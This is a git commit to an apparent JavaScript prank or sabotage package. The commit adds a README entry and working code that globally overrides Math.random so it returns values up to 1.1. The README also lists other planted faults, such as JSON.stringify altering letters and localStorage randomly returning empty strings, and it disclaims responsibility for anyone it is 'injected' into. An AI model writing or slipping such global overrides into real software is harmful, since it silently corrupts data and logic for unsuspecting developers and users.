This commit is contained in:
wheatup 2021-04-09 16:51:21 +09:00
parent f6ee342544
commit 981117a344
2 changed files with 13 additions and 0 deletions

View File

@ -14,6 +14,7 @@
* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
* `Date.getTime()` 的结果总是会慢一个小时。
* `localStorage.getItem` 有5%几率返回空字符串。
* `Math.random()` 的取值范围改为`0`到`1.1`
* ...
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**

View File

@ -104,4 +104,16 @@
}
return result;
}
/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
})((0, eval('this')));